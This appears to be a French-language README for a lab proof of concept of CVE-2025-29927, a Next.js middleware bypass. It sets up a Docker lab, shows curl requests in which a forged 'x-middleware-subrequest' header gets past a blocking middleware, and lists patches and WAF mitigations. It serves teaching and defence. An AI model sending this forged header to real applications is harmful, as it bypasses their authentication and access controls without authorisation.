
Une preuve de concept pour CVE-2025-29927 démontrant un contournement de middleware dans les versions de Next.js antérieures à 13.5.9
Ce dépôt contient une Preuve de Concept (PoC) démontrant comment contourner les contrôles de sécurité du middleware dans Next.js (v13.5.6) en exploitant une vulnérabilité liée aux en-têtes HTTP internes.
CVE-2025-29927 est une vulnérabilité de contournement du middleware présente dans les versions de Next.js 1.11.4 et antérieures aux versions 12.3.5, 13.5.9, 14.2.25 et 15.2.3. Elle permet à un attaquant externe de passer outre la logique de sécurité — comme l'authentification, la détection de robots ou les redirections géolocalisées — qu'un développeur a implémentée dans son fichier middleware.ts.
Next.js utilise des en-têtes HTTP internes pour communiquer entre ses différentes couches architecturales. L'un de ces en-têtes est x-middleware-subrequest.
La vulnérabilité existe car les versions vulnérables de Next.js font confiance à cet en-tête même lorsqu'il est envoyé par un client externe (comme un navigateur ou curl). Lorsque le serveur voit cet en-tête, il suppose que la requête a déjà été traitée et « validée » par le middleware, et il saute donc complètement l'exécution de votre code de sécurité.
Le laboratoire s'exécute dans un conteneur Docker Node:18-alpine pour garantir un environnement propre et reproductible
Nous commençons par lancer un conteneur nommé en arrière-plan. Nous utilisons sleep infinity pour maintenir le conteneur actif pendant la configuration.
J'ai d'abord rencontré des problèmes en redémarrant mon conteneur dans les étapes suivantes, c'est pourquoi j'ai opté pour sleep infinity
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Nous installons la version vulnérable spécifique de Next.js. Notez que malgré le drapeau --src-dir false, le framework crée un répertoire src, qui est l'endroit où nous devons placer notre middleware pour qu'il soit actif.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Pour simuler une barrière de sécurité, nous créons un fichier middleware.ts. Ce middleware est configuré pour bloquer toutes les requêtes entrantes avec un statut 401 Non autorisé.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Démarrez le serveur de développement et attendez le signal ✓ Prêt dans la console.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Ouvrez une nouvelle fenêtre de terminal (ne fermez pas le terminal précédent) sur votre machine hôte pour tester l'environnement avec curl.
Une requête standard sans en-têtes modifiés est correctement interceptée et bloquée par notre middleware.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
En injectant l'en-tête interne x-middleware-subrequest: src/middleware, nous trompons Next.js en lui faisant croire que la requête a déjà été vérifiée par un processus interne. Le serveur saute l'exécution du middleware et accorde un accès complet.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
Pour protéger votre application contre CVE-2025-29927, vous devez mettre à jour Next.js vers la version corrigée correspondant à votre version majeure actuelle :
La vulnérabilité est résolue dans les versions suivantes. Assurez-vous que votre package.json reflète au moins ces versions :
# Example for updating to the latest patched version
npm install next@latest
Si une mise à jour immédiate n'est pas possible, vous devez configurer votre pare-feu d'application Web (WAF) ou votre proxy inverse (par exemple, Nginx, Cloudflare ou Varnish) pour supprimer ou abandonner l'en-tête x-middleware-subrequest de toutes les requêtes externes entrantes avant qu'elles n'atteignent le serveur d'application Next.js.
Après la mise à jour, vous pouvez vérifier le correctif en relançant la commande d'exploitation de l'étape 5. Un serveur corrigé n'accordera plus un 200 OK lorsque l'en-tête falsifié est présent.
Cette vulnérabilité existe parce que Next.js fait confiance aux en-têtes côté client pour identifier les sous-requêtes internes. Pour atténuer ce problème, Next.js doit être mis à jour vers une version qui valide ou supprime correctement ces en-têtes internes du trafic entrant externe.